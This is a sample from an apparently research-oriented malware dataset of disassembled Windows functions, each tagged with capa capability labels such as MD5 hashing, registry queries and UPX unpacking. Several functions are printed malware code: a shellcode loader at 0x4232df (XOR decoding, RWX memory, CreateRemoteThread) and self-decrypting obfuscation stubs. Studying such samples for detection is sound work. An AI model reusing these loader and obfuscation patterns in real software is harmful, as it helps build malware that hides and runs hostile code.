joyce8/EMBER2024-capa huggingface dataset:
Function at 0x421a40
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x421a6d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x421a6d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x423000
Capabilities:
Encrypt data using rc4 prga

Disassembly:
sub esp, 0x214
mov eax, dword [0x42e040]
xor eax, esp
mov dword [esp + 0x20c], eax
push ebx
push ebp
push esi
push edi
xor edi, edi
mov ebp, 0x100
mov ecx, edi
xor edx, edx
mov byte [esp + ecx + 0x18], cl
push 0x2d
mov eax, ecx
pop esi
div esi
mov al, byte [edx + 0x44a370]
mov byte [esp + ecx + 0x118], al
inc ecx
cmp ecx, ebp
jl 0x423021
mov esi, edi
mov ebx, edi
mov dl, byte [esp + esi + 0x18]
movzx eax, byte [esp + esi + 0x118]
add eax, ebx
movzx ecx, dl
add ecx, eax
mov ebx, ecx
and ebx, 0x800000ff
jns 0x423069
dec ebx
or ebx, 0xffffff00
inc ebx
mov al, byte [esp + ebx + 0x18]
mov byte [esp + esi + 0x18], al
inc esi
mov byte [esp + ebx + 0x18], dl
cmp esi, ebp
jl 0x423044
mov ebp, edi
mov dword [esp + 0x14], edi
inc edi
and edi, 0x800000ff
jns 0x423091
dec edi
or edi, 0xffffff00
inc edi
mov bl, byte [esp + edi + 0x18]
movzx esi, bl
add ebp, esi
and ebp, 0x800000ff
jns 0x4230aa
dec ebp
or ebp, 0xffffff00
inc ebp
push ecx
call fcn.00401bff
push eax
call fcn.00402f5f
mov al, byte [esp + ebp + 0x1c]
mov byte [esp + edi + 0x1c], al
mov byte [esp + ebp + 0x1c], bl
movzx eax, byte [esp + edi + 0x1c]
add eax, esi
pop ecx
mov ecx, dword [esp + 0x14]
movzx eax, al
mov al, byte [esp + eax + 0x18]
xor byte [ecx + 0x42eac0], al
inc ecx
mov dword [esp + 0x14], ecx
cmp ecx, 0x1b400
jl 0x423080
mov ecx, dword [esp + 0x21c]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.00405cbb
add esp, 0x214
ret
Function at 0x4232df
Capabilities:
Allocate or change rwx memory
Create thread
Encode data using xor
Execute shellcode via indirect call
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x28
mov eax, dword [0x42e040]
xor eax, esp
mov dword [esp + 0x24], eax
push esi
push edi
push str.006:107_4:_00007:277_0:_004:_04:_008:_08:_08:_8:_7:2_3:_9:193_4:_
lea ecx, [esp + 0x18]
call fcn.00401d41
push 0xc
call fcn.00405cc9
pop ecx
lea ecx, [esp + 0x14]
push ecx
mov ecx, eax
call fcn.00423101
mov edi, 0x4ac
mov esi, dword [eax + 4]
lea eax, [esp + 0xc]
push eax
push 0x40
push edi
shl esi, 2
push 0x449ec0
sub esi, 0x40
push 0xffffffffffffffff
mov dword [esp + 0x20], esi
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
call dword [sym.imp.KERNEL32.dll_FreeConsole]
mov dword [esp + 0x10], esi
xor esi, esi
mov ecx, esi
mov al, byte [ecx + 0x449ec0]
xor al, 0x73
sub al, 0x6c
xor al, 0x74
add al, 0x4e
xor al, 0x70
sub al, 0x65
xor al, 0x22
sub al, 0x73
xor al, 0x2a
mov byte [ecx + 0x449ec0], al
inc ecx
cmp ecx, edi
jb 0x42334c
push ecx
push ecx
call section..bss
pop ecx
pop ecx
lea eax, [esp + 0x10]
push eax
push esi
push 0x42eac0
push 0x44a048
push esi
push esi
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
push 1
mov esi, eax
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObjectEx]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [esp + 0x14]
call fcn.004025eb
mov ecx, dword [esp + 0x2c]
xor eax, eax
pop edi
pop esi
xor ecx, esp
call fcn.00405cbb
mov esp, ebp
pop ebp
ret
Function at 0x40d578
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x41a428]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
xor esi, esi
mov eax, dword [ebp + 0xc]
push esi
mov dword [ebp - 0x20], eax
call ebx
mov edi, eax
mov dword [ebp - 0x18], edi
call fcn.00408d2c
mov dword [ebp - 0x14], eax
cmp dword [0x45a3f8], esi
jne 0x40d66b
push 0x800
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
jne 0x40d5f8
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x40d74b
push esi
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
je 0x40d74b
push str.MessageBoxW
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x40d74b
push eax
call ebx
push str.GetActiveWindow
push edi
mov dword [0x45a3f8], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push edi
mov dword [0x45a3fc], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push edi
mov dword [0x45a400], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x45a408], eax
test eax, eax
je 0x40d668
push str.GetProcessWindowStation
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x45a404], eax
mov edi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x40d690
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x40d683
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], esi
je 0x40d6a5
push 4
pop eax
jmp 0x40d74d
cmp dword [ebp - 0x14], esi
je 0x40d6a5
push dword [0x45a3f8]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x40d68a
mov eax, dword [0x45a404]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, edi
je 0x40d703
cmp dword [0x45a408], edi
je 0x40d703
push eax
call ebx
push dword [0x45a408]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x40d703
test eax, eax
je 0x40d703
call ecx
test eax, eax
je 0x40d6f8
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x40d6f8
test byte [ebp - 8], 1
jne 0x40d703
mov edi, dword [ebp + 0x10]
or edi, 0x200000
jmp 0x40d733
mov eax, dword [0x45a3fc]
cmp eax, edi
je 0x40d730
push eax
call ebx
test eax, eax
je 0x40d730
call eax
mov esi, eax
test esi, esi
je 0x40d730
mov eax, dword [0x45a400]
cmp eax, edi
je 0x40d730
push eax
call ebx
test eax, eax
je 0x40d730
push esi
call eax
mov esi, eax
mov edi, dword [ebp + 0x10]
push dword [0x45a3f8]
call ebx
test eax, eax
je 0x40d74b
push edi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push esi
call eax
jmp 0x40d74d
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004040e0
mov esp, ebp
pop ebp
ret
Function at 0x42a6d0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x1e000]
push edi
or ebp, 0xffffffff
jmp 0x42a6f2
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x42a6f9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x42a6e8
mov eax, 1
add ebx, ebx
jne 0x42a70b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x42a700
jne 0x42a71c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x42a700
xor ecx, ecx
sub eax, 3
jb 0x42a730
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x42a7a2
mov ebp, eax
add ebx, ebx
jne 0x42a73b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x42a748
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x42a76c
inc ecx
add ebx, ebx
jne 0x42a758
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x42a74d
jne 0x42a769
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x42a74d
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x42a78c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x42a77d
jmp 0x42a6ee
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x42a78c
add edi, ecx
jmp 0x42a6ee
pop esi
mov edi, esi
mov ecx, 0x5e2
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x42a7aa
cmp byte [edi], 0xa
jne 0x42a7aa
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov eax, ebx
loop 0x42a7af
lea edi, [esi + 0x28000]
mov eax, dword [edi]
or eax, eax
je 0x42a827
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x300dc]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x301b8]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x42a7dc
mov ecx, edi
jns 0x42a80b
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x301bc]
or eax, eax
je 0x42a821
mov dword [ebx], eax
add ebx, 4
jmp 0x42a7f9
call dword [esi + 0x301c0]
popal
jmp 0x40a7b9

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x1004835
Capabilities:
Set file attributes

Disassembly:
push ebx
push esi
mov esi, dword [esp + 0xc]
push edi
xor ebx, ebx
inc ebx
push esi
mov edi, ebx
call fcn.01005c50
test eax, eax
jne 0x100484f
mov eax, ebx
jmp 0x10048aa
cmp dword [0x100ac3c], 0
jne 0x100489c
test byte [0x100b898], bl
jne 0x100489c
push 6
push 0
push 0x1003869
push dword [0x100aa4c]
mov dword [0x100ae64], esi
push 0x7d3
push dword [0x100b4a4]
call fcn.01004c44
sub eax, 6
je 0x100489a
dec eax
je 0x10048b0
sub eax, 0x832
jne 0x100489c
mov dword [0x100ac3c], ebx
mov edi, ebx
push 0x80
push esi
call dword [sym.imp.kernel32.dll_SetFileAttributesA]
mov eax, edi
pop edi
pop esi
pop ebx
ret 4
xor edi, edi
jmp 0x10048a8

Function at 0x1004c44
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
pushal
call 0x1004c53
pop dword [ebp - 0x1c]
mov eax, 0xa9a1dca1
sub eax, 0xa8a1904e
sub dword [ebp - 0x1c], eax
mov dword [ebp - 0x2c], 0x88189e98
sub dword [ebp - 0x2c], 0x39c6594d
mov dword [ebp - 0x28], 0x5c8cb381
sub dword [ebp - 0x28], 0x2a59673c
mov dword [ebp - 0x24], 0x565f264e
sub dword [ebp - 0x24], 0xa12e220
mov dword [ebp - 0x20], 0xc6566af8
add dword [ebp - 0x20], 0x39a99508
lea eax, [ebp - 0x2c]
push eax
mov eax, 0x569d5645
sub eax, 0x559d44f1
add eax, dword [ebp - 0x1c]
call dword [eax]
mov dword [ebp - 0x2c], 0xe6929774
add dword [ebp - 0x2c], 0x8ddfd1e2
mov dword [ebp - 0x28], 0xbd3b5826
sub dword [ebp - 0x28], 0x7bcef6b1
mov dword [ebp - 0x24], 0x6aa7c5d6
add dword [ebp - 0x24], 0xf8c7a696
mov dword [ebp - 0x20], 0xf1306c66
add dword [ebp - 0x20], 0xecf939a
lea ebx, [ebp - 0x2c]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x1c]
call dword [eax]
push 0x40
push 0x1000
push 0x3635b
push 0
call eax
mov ecx, 0xd2432413
sub ecx, 0xd242e055
mov edx, eax
mov esi, 0x10e6000
add esi, dword [ebp - 0x1c]
mov ebx, 0x2b0ad5cf
xor dword [ebp - 0x10], 0xc860b446
mov edi, dword [esi]
add dword [ebp - 4], edx
add edi, ebx
add dword [ebp - 0x14], eax
mov dword [edx], edi
xor dword [ebp - 8], 0x13b132f2
add edx, 0xee92f8ab
add edx, 0x116d0759
add esi, 4
loop 0x1004d64
add eax, 0x101cb
mov ebx, eax
add eax, 0xfe9a8fe4
add eax, 0x1657021
mov ecx, 0xd717e106
add ecx, 0x29e81efa
add ecx, dword [ebp - 0x1c]
call ebx
leave
ret
Function at 0x2e014b3c
Capabilities:
Query or enumerate registry value

Disassembly:
push 0xc
mov eax, 0x2e0302bf
call fcn.2e00153c
lea eax, [ebp - 0x10]
xor ebx, ebx
push eax
push dword [ebp + 8]
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
je 0x2e014b76
lea eax, [ebp - 0x10]
push eax
push dword [ebp + 8]
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x2e014bdc
lea eax, [ebp - 0x14]
mov edi, 0x2e032941
push eax
push ebx
push edi
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
test eax, eax
jne 0x2e014bd3
mov eax, dword [ebp - 0x14]
test eax, eax
js 0x2e014bd3
inc eax
push eax
call fcn.2e0180f6
mov esi, eax
pop ecx
mov dword [ebp - 0x18], esi
lea eax, [ebp - 0x14]
mov dword [ebp - 4], ebx
push eax
push esi
push ebx
push ebx
push edi
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x2e014bc5
mov ecx, dword [ebp + 0xc]
push esi
call fcn.2e010c49
mov bl, 1
or dword [ebp - 4], 0xffffffff
push 1
push esi
call fcn.2e0180f6
pop ecx
pop ecx
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov al, bl
call fcn.2e001586
ret 8

Function at 0x2e0180f6
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
pushal
call 0x2e018105
pop dword [ebp - 0x40]
mov eax, 0x2e018105
sub dword [ebp - 0x40], eax
mov dword [ebp - 0x50], 0x498251ef
add dword [ebp - 0x50], 0x4cff35c
mov dword [ebp - 0x4c], 0x507b1dff
sub dword [ebp - 0x4c], 0x1e47d1ba
mov dword [ebp - 0x48], 0x9779a5b6
sub dword [ebp - 0x48], 0x4b2d6188
mov dword [ebp - 0x44], 0x4b314f07
add dword [ebp - 0x44], 0xb4ceb0f9
lea eax, [ebp - 0x50]
push eax
mov eax, 0x112d8f3b
add eax, 0x1cd5918d
add eax, dword [ebp - 0x40]
call dword [eax]
mov dword [ebp - 0x50], 0xb11fbfa7
add dword [ebp - 0x50], 0xc352a9af
mov dword [ebp - 0x4c], 0x2df6d004
sub dword [ebp - 0x4c], 0xec8a6e8f
mov dword [ebp - 0x48], 0xce33857
sub dword [ebp - 0x48], 0xa973cbeb
mov dword [ebp - 0x44], 0xbf7c17ec
add dword [ebp - 0x44], 0x4083e814
lea ebx, [ebp - 0x50]
push ebx
push eax
mov eax, 0xd84bb599
sub eax, 0xaa4894dd
add eax, dword [ebp - 0x40]
call dword [eax]
push 0x40
push 0x1000
push 0x3f3b0
push 0
call eax
mov ecx, 0x40b3
xor ebx, ebx
add ebx, eax
mov esi, 0x8b7c582f
add esi, 0xa28915d1
add esi, dword [ebp - 0x40]
mov edi, 0x8a4c312f
sub edi, 0x273f80be
sub dword [ebp - 0x30], 0xcd51b6c8
mov edx, dword [esi]
sub dword [ebp - 0x38], 0xb0b2328f
xor edx, edi
add dword [ebp - 0x24], 0x5732637f
mov dword [ebx], edx
sub dword [ebp - 4], ebx
add ebx, 4
add esi, 0x8f3e83f4
sub esi, 0x8f3e83f0
loop 0x2e01821e
add eax, 0xf59f
xor ebx, ebx
add ebx, eax
add eax, 0x97bf0cb2
add eax, 0x6840f353
mov ecx, 0x205603a9
sub ecx, 0xf25603a9
add ecx, dword [ebp - 0x40]
call ebx
leave
ret
Function at 0x40d030
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0xffffffffffffffff
push 0x4b9908
mov eax, dword fs:[0]
push eax
sub esp, 0x64
push ebx
push ebp
push esi
push edi
mov eax, dword [0x4d509c]
xor eax, esp
push eax
lea eax, [esp + 0x78]
mov dword fs:[0], eax
mov edi, ecx
mov ebp, dword [esp + 0x8c]
mov eax, dword [ebp + 8]
sub eax, dword [ebp + 4]
mov esi, dword [edi + 0x14]
sub eax, 2
mov ebx, 1
cmp esi, eax
ja 0x40d09a
cmp dword [edi + 0x18], eax
je 0x40d09a
push ebx
push eax
call fcn.004074a0
test al, al
je 0x40d09a
cmp dword [edi + 0x18], 0x10
mov dword [edi + 0x14], esi
jb 0x40d093
mov eax, dword [edi + 4]
jmp 0x40d096
lea eax, [edi + 4]
mov byte [eax + esi], 0
mov esi, dword [ebp + 4]
mov ecx, dword [ebp + 8]
sub ecx, ebx
add esi, ebx
mov dword [esp + 0x18], ecx
cmp esi, ecx
je 0x40d27c
jmp 0x40d0b6
mov ecx, dword [esp + 0x18]
mov al, byte [esi]
add esi, ebx
mov byte [esp + 0x20], al
cmp al, 0x22
je 0x40d27c
cmp al, 0x5c
jne 0x40d1b8
cmp esi, ecx
je 0x40d1d4
mov al, byte [esi]
movsx eax, al
add esi, ebx
add eax, 0xffffffde
mov dword [esp + 0x8c], esi
cmp eax, 0x53
ja case.0x40d0f7.35
movzx eax, byte [eax + 0x40d2bc]
jmp dword [eax*4 + 0x40d294]
push 0x22
jmp 0x40d1bd
push 0x2f
jmp 0x40d1bd
push 0x5c
jmp 0x40d1bd
push 8
jmp 0x40d1bd
push 0xc
jmp 0x40d1bd
push 0xa
jmp 0x40d1bd
push 0xd
jmp 0x40d1bd
push 9
jmp 0x40d1bd
mov eax, dword [esp + 0x88]
lea edx, [esp + 0x1c]
push edx
push ecx
push eax
lea ecx, [esp + 0x98]
mov edx, ebp
call fcn.0040d310
test al, al
je 0x40d220
mov ecx, dword [esp + 0x1c]
lea esi, [esp + 0x5c]
call fcn.0040b290
push 0
push eax
or eax, 0xffffffff
mov esi, edi
mov dword [esp + 0x88], ebx
call fcn.0040eb60
mov dword [esp + 0x80], 0xffffffff
cmp dword [esp + 0x74], 0x10
jb 0x40d19a
mov ecx, dword [esp + 0x60]
push ecx
call fcn.004867ca
add esp, 4
mov esi, dword [esp + 0x8c]
mov dword [esp + 0x74], 0xf
mov dword [esp + 0x70], 0
mov byte [esp + 0x60], 0
jmp 0x40d1c5
mov edx, dword [esp + 0x20]
push edx
push ebx
mov ecx, edi
call fcn.0040e390
cmp esi, dword [esp + 0x18]
jne 0x40d0b2
jmp 0x40d27c
push 0x1f
xor edi, edi
push str.Empty_escape_sequence_in_string
lea ecx, [esp + 0x2c]
mov dword [esp + 0x44], 0xf
mov dword [esp + 0x40], edi
mov byte [esp + 0x30], 0
call fcn.00405ef0
mov edx, dword [esp + 0x88]
push esi
push ebp
lea ecx, [esp + 0x2c]
mov dword [esp + 0x88], edi
call fcn.0040d5c0
cmp dword [esp + 0x3c], 0x10
mov bl, al
jb 0x40d27c
mov eax, dword [esp + 0x28]
push eax
jmp 0x40d274
xor al, al
jmp 0x40d27e
push 0x1d
push str.Bad_escape_sequence_in_string
lea ecx, [esp + 0x48]
mov dword [esp + 0x60], 0xf
mov dword [esp + 0x5c], 0
mov byte [esp + 0x4c], 0
call fcn.00405ef0
mov edx, dword [esp + 0x88]
push esi
push ebp
lea ecx, [esp + 0x48]
mov dword [esp + 0x88], 2
call fcn.0040d5c0
cmp dword [esp + 0x58], 0x10
mov bl, al
jb 0x40d27c
mov ecx, dword [esp + 0x44]
push ecx
call fcn.004867ca
add esp, 4
mov al, bl
mov ecx, dword [esp + 0x78]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x70
ret 8
Function at 0x416750
Capabilities:
Access peb ldr_data
Get process heap flags

Disassembly:
push 0xffffffffffffffff
push 0x4b8dfb
mov eax, dword fs:[0]
push eax
sub esp, 8
push ebx
push esi
push edi
mov eax, dword [0x4d509c]
xor eax, esp
push eax
lea eax, [esp + 0x18]
mov dword fs:[0], eax
mov esi, ecx
mov dword [esp + 0x14], esi
lea ecx, [esi + 4]
mov dword [esi], vtable.std::basic_streambuf_char__struct_std::char_traits_char__.0
call fcn.004846e4
push 4
mov dword [esp + 0x24], 0
call fcn.0048701b
mov edi, eax
add esp, 4
test edi, edi
je 0x4167d2
call fcn.0048432a
mov dword [edi], eax
call fcn.0048412e
push 0
lea ecx, [esp + 0x14]
mov ebx, eax
call fcn.00483fa7
mov eax, dword [ebx + 4]
cmp eax, 0xffffffff
jae 0x4167c7
inc eax
mov dword [ebx + 4], eax
lea ecx, [esp + 0x10]
call fcn.00483fcf
jmp 0x4167d4
xor edi, edi
lea eax, [esi + 8]
mov dword [esi + 0x10], eax
lea ecx, [esi + 0x18]
mov dword [esi + 0x20], ecx
lea edx, [esi + 0x1c]
mov dword [esi + 0x24], edx
mov dword [esi + 0x38], edi
lea eax, [esi + 0xc]
mov dword [esi + 0x14], eax
lea ecx, [esi + 0x28]
mov dword [esi + 0x30], ecx
lea edx, [esi + 0x2c]
mov dword [esi + 0x34], edx
mov dword [eax], 0
mov eax, dword [esi + 0x24]
mov dword [eax], 0
mov ecx, dword [esi + 0x34]
mov dword [ecx], 0
mov edx, dword [esi + 0x10]
mov dword [edx], 0
mov eax, dword [esi + 0x20]
mov dword [eax], 0
mov ecx, dword [esi + 0x30]
mov dword [ecx], 0
mov eax, esi
mov ecx, dword [esp + 0x18]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
add esp, 0x14
ret

Function at 0x418da0
Capabilities:
Hash data with md5

Disassembly:
sub esp, 0x68
mov eax, dword [0x4d509c]
xor eax, esp
mov dword [esp + 0x60], eax
mov eax, dword [esp + 0x6c]
xor ecx, ecx
push esi
mov dword [esp + 0x1c], ecx
mov dword [esp + 0x18], ecx
push eax
mov eax, dword [esp + 0x78]
lea ecx, [esp + 0xc]
mov dword [esp + 0xc], 0x67452301
mov dword [esp + 0x10], 0xefcdab89
mov dword [esp + 0x14], 0x98badcfe
mov dword [esp + 0x18], 0x10325476
call fcn.0041f150
add esp, 4
lea esi, [esp + 8]
mov ecx, edi
call fcn.0041f1f0
mov ecx, dword [esp + 0x64]
pop esi
xor ecx, esp
call fcn.004873c2
add esp, 0x68
ret

Function at 0x418e10
Capabilities:
Hash data with md5

Disassembly:
sub esp, 0x68
mov eax, dword [0x4d509c]
xor eax, esp
mov dword [esp + 0x60], eax
mov eax, dword [esp + 0x6c]
xor ecx, ecx
push esi
mov dword [esp + 0x1c], ecx
mov dword [esp + 0x18], ecx
push eax
mov eax, dword [esp + 0x78]
lea ecx, [esp + 0xc]
mov dword [esp + 0xc], 0x67452301
mov dword [esp + 0x10], 0xefcdab89
mov dword [esp + 0x14], 0x98badcfe
mov dword [esp + 0x18], 0x10325476
call fcn.0041f150
add esp, 4
lea esi, [esp + 8]
mov ecx, edi
call fcn.0041f1f0
mov ecx, dword [esp + 0x64]
pop esi
xor ecx, esp
call fcn.004873c2
add esp, 0x68
ret
Function at 0x418fb0
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0x10
push ebx
push ebp
push esi
push edi
mov esi, eax
lea eax, [esp + 0x18]
push eax
push 0x20119
xor edi, edi
push edi
push 0x4c94f4
push reloc.OLEAUT32.dll_SysReAllocString
mov ebx, ecx
mov dword [esp + 0x30], edi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x419141
mov dword [esi], eax
mov dword [esi + 4], eax
mov dword [esi + 8], eax
mov dword [esi + 0xc], eax
lea ecx, [esp + 0x10]
push ecx
mov dword [esi + 0x10], eax
push ebx
mov dword [esi + 0x14], eax
lea edx, [esp + 0x1c]
push edx
mov dword [esi + 0x18], eax
push eax
mov dword [esi + 0x1c], eax
mov dword [esi + 0x20], eax
mov eax, dword [esp + 0x28]
push str.Operator
mov edi, 0x400
push eax
mov dword [esp + 0x28], edi
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x419043
cmp dword [esp + 0x14], 1
jne 0x419128
mov eax, dword [esp + 0x10]
sub edi, eax
mov dword [esi], ebx
lea ebx, [eax + ebx]
je 0x419128
mov eax, dword [esp + 0x18]
mov ebp, dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
lea ecx, [esp + 0x10]
push ecx
push ebx
lea edx, [esp + 0x1c]
push edx
push 0
push str.IssueDate
push eax
mov dword [esp + 0x28], edi
call ebp
test eax, eax
jne 0x419088
cmp dword [esp + 0x14], 1
jne 0x419128
mov eax, dword [esp + 0x10]
mov dword [esi + 4], ebx
sub edi, eax
add ebx, eax
test edi, edi
je 0x419128
mov eax, dword [esp + 0x18]
lea ecx, [esp + 0x10]
push ecx
push ebx
lea edx, [esp + 0x1c]
push edx
push 0
push str.ExpirationDate
push eax
mov dword [esp + 0x28], edi
call ebp
test eax, eax
jne 0x4190bf
cmp dword [esp + 0x14], 1
jne 0x419128
mov eax, dword [esp + 0x10]
mov dword [esi + 8], ebx
sub edi, eax
add ebx, eax
test edi, edi
je 0x419128
mov eax, dword [esp + 0x18]
lea ecx, [esp + 0x10]
push ecx
push ebx
lea edx, [esp + 0x1c]
push edx
push 0
push str.SignData
push eax
mov dword [esp + 0x28], edi
call ebp
test eax, eax
jne 0x419128
cmp dword [esp + 0x14], 3
jne 0x419128
mov eax, dword [esp + 0x10]
sub edi, eax
mov dword [esi + 0x1c], eax
mov dword [esi + 0x20], ebx
je 0x419128
lea eax, [esi + 0xc]
call fcn.00418e80
test eax, eax
je 0x419128
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x24]
mov ecx, 0x400
sub ecx, edi
push eax
mov dword [edx], ecx
mov esi, 1
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
ret
mov eax, dword [esp + 0x18]
mov esi, dword [esp + 0x1c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
ret
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
ret